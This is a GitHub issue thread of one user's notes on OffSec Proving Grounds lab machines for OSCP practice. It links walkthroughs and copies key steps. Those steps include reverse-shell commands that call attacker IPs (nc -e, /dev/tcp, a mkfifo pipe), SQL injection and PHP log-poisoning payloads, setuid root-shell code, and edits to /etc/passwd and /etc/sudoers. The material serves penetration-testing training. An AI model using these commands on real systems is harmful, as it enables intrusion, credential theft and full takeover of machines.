WDavid404 / PG-Box

PG box workthough note
0 stars 0 forks source link

Good articles #48

Open WDavid404 opened 3 months ago

WDavid404 commented 3 months ago

proving-grounds-all-33-warm-up-machines (https://medium.com/@abhirupkonwar04/proving-grounds-all-33-warm-up-machines-pwned-618cdb3d9607)

https://medium.com/@Dpsypher https://juggernaut-sec.com/

WDavid404 commented 3 months ago

backupbuddy (Linux, 2024)

https://medium.com/@redleafdev/backupbuddy-proving-grounds-write-up-7779845d296f

Points:

create a ma_libm.c file

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void bad_stuff() {
        setuid(0);
        setgid(0);
        system("/bin/sh -i");
}

then, gcc -shared -fPIC -o libm.so ma_libm.c

https://miro.medium.com/v2/resize:fit:786/format:webp/1*uCmquwqy1tRyH_tgyULgJw.png

WDavid404 commented 3 months ago

BadCorp PG box

https://systemweakness.com/proving-grounds-badcorp-walkthrough-54c393758380

Points:

WDavid404 commented 3 months ago

Banzai (Linux, 2020)

https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-banzai-a07932f899cf

Points:

WDavid404 commented 3 months ago

Billyboss (Windows, 2020)

https://medium.com/@Dpsypher/proving-grounds-practice-billyboss-5c69bf508e5d https://benheater.com/proving-grounds-billyboss/

image image

# -I : ignore any restore files
# -f : stop when a login is found
# -L : username list
# -P : password list
# ^USER64^ and ^PASS64^ tells hydra to base64-encode the values
# C=/ tells hydra to establish session cookies at this URL
# F=403 tells hydra that HTTP 403 means invalid login
hydra -I -f -L usernames.txt -P passwords.txt 'http-post-form://192.168.233.61:8081/service/rapture/session:username=^USER64^&password=^PASS64^:C=/:F=403'
WDavid404 commented 3 months ago

Bottleup (Linux, 2023)

https://medium.com/@ardian.danny/oscp-practice-series-39-proving-grounds-bottleup-36dbbb79b931

Points:

WDavid404 commented 3 months ago

Breakout (Linux, 2022)

https://medium.com/@4HM7H3X/breakout-proving-ground-practice-walkthrough-intermediate-e7fb6cd8572f

Points:

WDavid404 commented 3 months ago

bullyBox (Linux, 2023)

Points:

WDavid404 commented 3 months ago

Butch (Windows, 2020)

https://auspisec.com/blog/20220118/proving_grounds_butch_walkthrough.html

Points:

confirm columns number

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' )>3) WAITFOR DELAY '0:0:10';--

see if we could determine any existing users in the table

'; IF ((select count(username) from users where username = 'butch')=1) WAITFOR DELAY '0:0:10';--

update password

'; update users set password_hash = 'tacos123' where username = 'butch';-- '; IF ((select count(username) from users where username = 'butch' and password_hash = 'tacos123')=1) WAITFOR DELAY '0:0:10';--
====> failed..

Try different passwod hash method: echo -n 'tacos123' | md5sum echo -n 'tacos123' | sha1sum echo -n 'tacos123' | sha256sum

finally '; update users set password_hash = '6183c9c42758fa0e16509b384e2c92c8a21263afa49e057609e3a7fb0e8e5ebb' where username = 'butch';--


-->  login the web page with user butch and password tacos123.

- The web page has upload button --> upload our code as site.master.cs and create a reverse shell listener
![image](https://github.com/user-attachments/assets/fc1a418b-e45b-46a1-b20b-bc64400d86f5)

- 
WDavid404 commented 3 months ago

Cassios (Linux, 2020)

https://medium.com/@ardian.danny/oscp-practice-series-52-proving-grounds-cassios-19bc1ad2446e

Points:

WDavid404 commented 3 months ago

Catto (Linux, 2021)

https://medium.com/@ardian.danny/oscp-practice-series-51-proving-grounds-catto-a96d11381ad7

Points:

The private key is Marcus’s password (WallAskCharacter305) -->/usr/bin/base64key F2jJDWaNin8pdk93RLzkdOTr60== WallAskCharacter305 1
--> got root's password

WDavid404 commented 3 months ago

Charlotte (Linux, 2022)

https://rouvin.gitbook.io/ibreakstuff/writeups/proving-grounds-practice/linux/charlotte

Points:

feroxbuster -u http://192.168.183.184 --> README --> found that nginx configuration has checks on the User-Agent --> We can change this to "googlebot":feroxbuster -H 'User-Agent: googlebot' -u http://192.168.183.184 --> find more directories (e.g. /admin)

WDavid404 commented 3 months ago

Chatty (Linux, 2021)

https://medium.com/@ardian.danny/oscp-practice-series-53-proving-grounds-chatty-2f89e2a1ef8c

Keypoints:

WDavid404 commented 3 months ago

Cobweb (Linux, 2021)

https://www.myhackingnotes.com/proving_grounds/cobweb.html

Keypoints:

WDavid404 commented 3 months ago

Depreciated (Linux, 2022)

https://medium.com/@ardian.danny/oscp-practice-series-48-proving-grounds-depreciated-23b84201c463

Keypoints: graphql

get function list

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} query={listUsers}

use getOTP function

query={getOTP(username:"jason")} --> get OTP


login via nc
![image](https://github.com/user-attachments/assets/651377ec-253f-4d6b-9f12-6c884af2f700)
list message --> get peter's password --> SSH login

[PE]  see the source-code on the /opt directory --> found root's password in msg.json file
WDavid404 commented 3 months ago

Dibble (Linux, 2020)

https://github.com/AaronCaiii/OSCP-Prepare-Proving-grounds-Practice/blob/main/PG/7.%20Dibble.md

Keypoints:

[benjamin@dibble ~]$ openssl passwd aaron openssl passwd aaron gaDFtFvvEwqho [benjamin@dibble ~]$ echo "root2:gaDFtFvvEwqho:0:0:root:/root:/bin/bash" >> passwd.bak [benjamin@dibble ~]$ mv passwd.bak passwd [benjamin@dibble ~]$ cp passwd /etc/passwd [benjamin@dibble ~]$ su root2 Password: aaron [root@dibble benjamin]# id id uid=0(root) gid=0(root) groups=0(root) [root@dibble benjamin]#

WDavid404 commented 3 months ago

Educated (Linux, 2023)

https://anoetic.medium.com/oscp-proving-grounds-educated-496567e4c466

Keypoints:

WDavid404 commented 3 months ago

Fail (Linux, 2021)

https://lipa.tech/posts/pg-fail/

Keypoints:

$ rsync rsync://192.168.67.126/fox drwxr-xr-x 4,096 2021/10/27 23:48:57 . lrwxrwxrwx 9 2020/12/03 15:22:42 .bash_history -rw-r--r-- 220 2019/04/18 00:12:36 .bash_logout -rw-r--r-- 3,526 2019/04/18 00:12:36 .bashrc -rw-r--r-- 807 2019/04/18 00:12:36 .profile

Downloads files

rsync rsync://192.168.67.126/fox * .

write ssh keys and upload them via rsync.

$ mkdir .ssh # create the folder, because it isn't on the destination drive $ ssh-keygen -f .ssh/fall-ssh -t ecdsa -b 521 $ cp .ssh/fall-ssh.pub .ssh/authorized_keys $ rsync -a --relative .ssh/ rsync://192.168.67.126/fox/

ssh login

ssh -i .ssh/fall-ssh.pub fox@192.168.67.126


- [PE] found "fail2ban-server" is running (via `ps -aux`) --》 https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban
WDavid404 commented 3 months ago

Fired (Linux, 2024)

https://medium.com/@0xrave/flasky-proving-grounds-practice-walkthrough-7e52d885c1a1

Keypoints:JWT

WDavid404 commented 3 months ago

G00g (Linux, 2021)

https://jaeng.medium.com/g00g-proving-grounds-creator-offsec-28b48cefa78d

Keypoints:

WDavid404 commented 3 months ago

Groove (Linux, 2024)

https://medium.com/@4HM7H3X/oscp-prep-pg-practice-walkthrough-groove-c8d06c75922d

Keypoints:

WDavid404 commented 3 months ago

unknown list

ERP

Hallucination

Forward

Marshalled

...

WDavid404 commented 3 months ago

Hetemit (Linux, 2020)

https://medium.com/@blueclps080984/proving-grounds-hetemit-intermediate-linux-box-walkthrough-a-journey-to-offensive-security-3ca236db1288

Keypoints:

so, curl -X POST — data “code=os.system(‘nc -e /bin/bash 192.168.45.161 18000’)” http://192.168.229.117:50000/verify

WDavid404 commented 3 months ago

Hunit (Linux, 2021)

https://medium.com/@blueclps080984/proving-grounds-hunit-intermediate-linux-box-walkthrough-a-journey-to-offensive-security-36081fc196d

Keypoints:

  1. found id_rsa file belonging to the “git” user --> ssh with git user so that we can commit our changes to git server.
  2. modified the “backups.sh” file by injecting a reverse shell command using echo “sh -i >& /dev/tcp/[kali IP]/8080 0>&1” >> backups.sh. After committing the changes using git add -A and git commit -m “pwn”, we pushed the modified file to the git server using GIT_SSH_COMMAND=’ssh -i /home/kali/Downloads/ProvingGroundsBoxes/Hunit/id_rsa -p 43022' git push origin master (push git from our kali machine) image image image image image
WDavid404 commented 3 months ago

Illusion (Linux, 2022)

https://medium.com/@SxEl/proving-grounds-illusion-walkthrough-bbd0315231d6

Keypoints:

[PE]

WDavid404 commented 3 months ago

KeyVault (Linux, 2022)

https://medium.com/@ardian.danny/oscp-practice-series-76-proving-grounds-keyvault-a51557383935

Keypoints:

hmac.php--> need “h”, “host”, and “token” as GET parameters image

According to the officail page of the function "hmac" (https://www.php.net/manual/en/function.hash-hmac.php) image so, we can do as below image image --> 192.168.214.207:8080/index.php?h=663e7fa98837d5b3e5aa3056efacfc215d2b0ac1e6bfe88df8c715eb26d2d7e8&host=asd&token[]=asd image

WDavid404 commented 3 months ago

Kyoto

https://medium.com/@0xrave/kyoto-proving-grounds-practice-walkthrough-active-directory-820dfcff5ddd

Keypoints:

WDavid404 commented 3 months ago

Lunar (Linux, 2022)

https://al1z4deh.medium.com/proving-grounds-lunar-d88c0357a167

Keypoints:

Here we see that we can read files with the ext parameter

  function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['show'])) {
                if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
                    error_reporting(E_ALL ^ E_WARNING); 
                    include $_GET['show'] . $ext;   ★★★★★
                } else {
                    echo 'You can select either one of these only';

$url/dashboard.php?show=completed&ext=../../../../../etc/passwd ーー> work Check the access.log file for log poisoning URL/dashboard.php?show=completed&ext=../../../../../var/log/apache2/access.log Now let’s enter the poison, enter the cmd parameter

└─$ nc 192.168.60.216 80     
GET /<?php system($_GET['cmd']); ?>

image

made reverse shell payload (convert to URL format) URL/dashboard.php?show=completed&ext=../../../../../var/log/apache2/access.log&cmd=rm%20-f%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.49.60%20443%20%3E%2Ftmp%2Ff

└─$ mkdir tmp

┌──(kali㉿kali)-[~/OSCP/lab/nfs] └─$ sudo mount -t nfs 192.168.60.216:/srv/share tmp -o nolock [sudo] password for kali:

┌──(kali㉿kali)-[~/OSCP/lab/nfs] └─$ ls tmp

┌──(kali㉿kali)-[~/OSCP/lab/nfs] └─$ cd tmp

┌──(kali㉿kali)-[~/OSCP/lab/nfs/tmp] └─$ ls

┌──(kali㉿kali)-[~/OSCP/lab/nfs/tmp] └─$ cat > shell.c<<EOF

include

int main(){ setuid(0); setgid(0); system("/bin/bash"); } EOF

┌──(kali㉿kali)-[~/OSCP/lab/nfs/tmp] └─$ sudo gcc -static shell.c -o shell shell.c: In function ‘main’: shell.c:5:3: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 5 | system("/bin/bash"); | ^~

┌──(kali㉿kali)-[~/OSCP/lab/nfs/tmp] └─$ sudo chmod u+s shell


Run the shell

liam@lunar:~$ cd /srv liam@lunar:/srv$ cd share liam@lunar:/srv/share$ ls shell shell.c liam@lunar:/srv/share$ ./shell root@lunar:/srv/share# whoami root root@lunar:/srv/share#

WDavid404 commented 3 months ago

Malbec (Linux, 2021)

https://al1z4deh.medium.com/proving-grounds-malbec-240d1500b26b

Keypoints:

WDavid404 commented 3 months ago

Mantis (Linux, 2022)

https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/active-directory/mantis

Keypoints: image --> get password info after decoding

Install Impacket

git clone https://github.com/CoreSecurity/impacket.git
python setup.py install

Impacket contains goldenpac python file which is used for post exploitation, now execute given below command and access the victim’s terminal through that. goldenPac.py htb.local/james@mantis.htb.local image

WDavid404 commented 3 months ago

Maria (Linux, 2021)

Keypoints:

WDavid404 commented 3 months ago

Markers (Linux, 2023)

https://medium.com/@Dpsypher/proving-grounds-practice-ctf-200-03-5bde2be7d439

WDavid404 commented 3 months ago

Marketing (Linux, 2022)

https://medium.com/@ardian.danny/oscp-practice-series-32-proving-grounds-marketing-bf040837eeff

Keypoints:

WDavid404 commented 3 months ago

Matrimony (Linux, 2022)

https://al1z4deh.medium.com/proving-grounds-matrimony-a121fa189966

Keypoints: docker

Try SSH login to 172.17.0.2 as root --> succeed image

İmport the Docker binary from the target host to the container. https://al1z4deh.medium.com/proving-grounds-matrimony-a121fa189966 image

We find that we have 2 different image IDs, we can choose the one we want. We create a container and mount the target host’s /root directory to our new container. image

We can check the /mnt folder to see if we have successfully mounted the /root directory into this new container. image

WDavid404 commented 3 months ago

Medjed (Windows, 2021)

https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-medjed-7570cbbea087

Key points:

WDavid404 commented 3 months ago

midnight (Windows, 2023)

https://assume-breach.medium.com/oscp-prep-vulnhubs-midnight-walkthrough-a965f236770f

Key points:

WDavid404 commented 3 months ago

MZEEAV (Linux, 2023)

https://medium.com/@0xrave/ctf-200-02-offsec-proving-grounds-practice-labor-day-ctf-machine-walkthrough-78a5497ce589

Key points:

WDavid404 commented 3 months ago

Nappa (Linux, 2020)

https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-nappa-bff7fa45d75d

Key points:

so, adding these input fileds image --> We can use this to get a reverse shell.

WDavid404 commented 3 months ago

nara

WDavid404 commented 3 months ago

Nibbles (Linux, 2020)

Key points:

WDavid404 commented 3 months ago

Nukem (Linux, 2020)

https://medium.com/@ardian.danny/oscp-practice-series-64-proving-grounds-30964bed6cf3

Key points:

WDavid404 commented 3 months ago

Ochima (Linux, 2023)

https://medium.com/@0xrave/ctf-200-01-offsec-proving-grounds-practice-labor-day-ctf-machine-walkthrough-702633e20940

Key points:

WDavid404 commented 3 months ago

PayDay (Linux, 2020)

https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/payday

we can skip it because it is too simple

WDavid404 commented 3 months ago

Pipe (Linux, 2024)

https://medium.com/@4HM7H3X/oscp-prep-pg-practice-walkthrough-pipe-727e14bd1956

WordPress version 6.2 is running on Port 80. We detect plugins ( (paid-memberships-pro-2.9.7)) using the wpscan tool. We discover an exploit ( https://www.exploit-db.com/exploits/51235 ) specific to this version and use sqlmap to execute the necessary command to dump wordpress usernames and passwords columns. We obtain the hash of the site administrator and gain root access by modifying the relevant plugin.

image

WDavid404 commented 3 months ago

Postfish (Linux, 2021)

https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/postfish https://www.davila.me/menu/walkthroughs/oscp-practice/postfish

WDavid404 commented 3 months ago

ProStore (Linux, 2023)

https://medium.com/@0xrave/prostore-proving-grounds-practice-walkthrough-6d3b30095328

Key points:

By googling the error message. it shows that it treats the abc as code. To further test this, first, we try a correct captcha which is 3, it will redirect to Thanks for shopping page. If we enter an incorrect number like 1, it will return “captcha error”. So we try enter 1*1, it show captcha error. If we enter 1*3, it will redirect to Thanks for shopping page, which means it executes the 1*3. Note: You would like to avoid using + like 1+2 because + treats as space in HTTP request. we are able to execute id command image

#Transfer our nc to the target machine
cd /usr/bin
python3 -m http.server 80
#At burp, replace the payload to this, download nc output at /tmp then give execute permission
curl+http%3a//$KaliIP/nc+-o+/tmp/nc+%26%26+chmod+%2bx+/tmp/nc
#Execute the /tmp/nc, remember to stop python http server if you want to use port 80
nc -nlvp 80
#At burp, replace the captcha value
/tmp/nc+$KaliIP+80+-e+/bin/bash

image image

PS: because the server is node.js, so we can also use the following reverse shell code image

find /usr/bin/gdb on this machine. Gdb is a very good debugging tools.

#At the target machine
gdb -q /usr/local/bin/log_reader
#In gdb terminal, use list command to list source code, this allow us better understand what the binary does
list

image find / -name “log_reader.c” 2>/dev/null ---> We found it at /usr/share/src/log_reader.c After checking src/log_reader.c file, we notice there is no input validation for the file name, as it only checks if .log exists in the file name. In this case, if we input a filename like 1.log&&id, the binary will execute as cat 1.log&&id. Let’s give it a try.

#Method 1
/usr/local/bin/log_reader "1.log;chmod u+s /bin/bash"
/bin/bash -p
#Method 2
/usr/local/bin/log_reader "1.log&&echo 'observer ALL=(root) NOPASSWD: ALL' > /etc/sudoers"
sudo bash
WDavid404 commented 3 months ago

Quackerjack (Linux, 2020)

https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/quackerjack

WDavid404 commented 3 months ago

PC (Linux, 2023)

https://medium.com/@0xrave/pc-proving-grounds-practice-walkthrough-7619983c7d63

WDavid404 commented 3 months ago

RPC1 (Linux, 2023)

WDavid404 commented 3 months ago

Readys (Linux, 2021)

https://medium.com/@0xrave/readys-proving-grounds-practice-walkthrough-88a3e0e21f62